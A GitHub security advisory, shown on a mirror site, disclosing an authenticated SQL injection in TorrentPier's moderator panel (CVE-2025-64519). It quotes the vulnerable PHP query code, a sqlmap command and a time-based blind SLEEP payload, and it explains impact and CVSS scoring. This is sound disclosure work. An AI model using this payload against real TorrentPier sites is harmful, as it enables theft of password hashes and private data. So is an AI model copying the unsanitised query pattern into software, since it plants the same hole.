WARNING: THIS SITE IS A MIRROR OF GITHUB.COM / IT CANNOT LOGIN OR REGISTER ACCOUNTS / THE CONTENTS ARE PROVIDED AS-IS / THIS SITE ASSUMES NO RESPONSIBILITY FOR ANY DISPLAYED CONTENT OR LINKS / IF YOU FOUND SOMETHING MAY NOT GOOD FOR EVERYONE, CONTACT ADMIN AT ilovescratch@foxmail.com
Skip to content

TorrentPier is Vulnerable to Authenticated SQL Injection through Moderator Control Panel's topic_id parameter

High severity GitHub Reviewed Published Nov 10, 2025 in torrentpier/torrentpier • Updated Nov 10, 2025

Package

composer torrentpier/torrentpier (Composer)

Affected versions

<= 2.8.8

Patched versions

None

Description

Summary

An authenticated SQL injection vulnerability exists in the moderator control panel (modcp.php). Users with moderator permissions can exploit this vulnerability by supplying a malicious topic_id (t) parameter. This allows an authenticated moderator to execute arbitrary SQL queries, leading to the potential disclosure, modification, or deletion of any data in the database.

Details

The vulnerability is triggered when modcp.php processes a request that includes a topic_id (t parameter). The value of $topic_id is taken directly from user input and is not sanitized or parameterized before being concatenated into an SQL query.

This occurs within the initial data retrieval block for a given topic ID.

Vulnerable Code Block in modcp.php (lines 111-122):

if ($topic_id) {
    $sql = "
		SELECT
			f.forum_id, f.forum_name, f.forum_topics, f.self_moderated,
			t.topic_first_post_id, t.topic_poster
		FROM " . BB_TOPICS . " t, " . BB_FORUMS . " f
		WHERE t.topic_id = $topic_id
			AND f.forum_id = t.forum_id
		LIMIT 1
	";

    if (!$topic_row = DB()->fetch_row($sql)) {
        bb_die($lang['INVALID_TOPIC_ID_DB']);
    }
    // ...
}

In the WHERE t.topic_id = $topic_id clause, the $topic_id variable is directly embedded into the query string. An attacker can inject SQL syntax (e.g., boolean logic, time-based functions) into the t parameter to manipulate the query's execution.

PoC

This is a time-based blind SQL injection vulnerability that requires moderator privileges.

Prerequisites:

  1. A running instance of TorrentPier.
  2. An account with moderator permissions.

Steps to Reproduce:

  1. Log in as a moderator.
  2. Obtain the full session cookie string from the browser's developer tools.
  3. Use sqlmap to automate the exploitation. The tool will test the t parameter for vulnerabilities.

sqlmap Command:
(Note: Replace https://localhost with the target URL and "your_full_cookie_string" with the actual cookie data from the browser session, e.g., "key1=value1; key2=value2").

sqlmap -u "https://localhost/modcp.php?mode=lock&t=1" -p t --cookie "your_full_cookie_string" --dbms mysql --technique T --current-db

sqlmap Output Confirmation:
The following output from sqlmap confirms successful exploitation:

---
Parameter: t (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching current database
[INFO] retrieved: torrentpier
current database: 'torrentpier'

Impact

This is an authenticated SQL Injection vulnerability. Although it requires moderator privileges, it is still severe. A malicious or compromised moderator account can leverage this vulnerability to:

  • Read sensitive data: Extract any information from the database, including user credentials (password hashes), private messages, email addresses, and other private data.
  • Modify data: Alter records in the database, such as elevating their own or other users' privileges to administrator level.
  • Delete data: Corrupt or destroy forum data by dropping tables or deleting records.

References

@belomaxorka belomaxorka published to torrentpier/torrentpier Nov 10, 2025
Published to the GitHub Advisory Database Nov 10, 2025
Reviewed Nov 10, 2025
Last updated Nov 10, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2025-64519

GHSA ID

GHSA-4rwr-8c3m-55f6

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.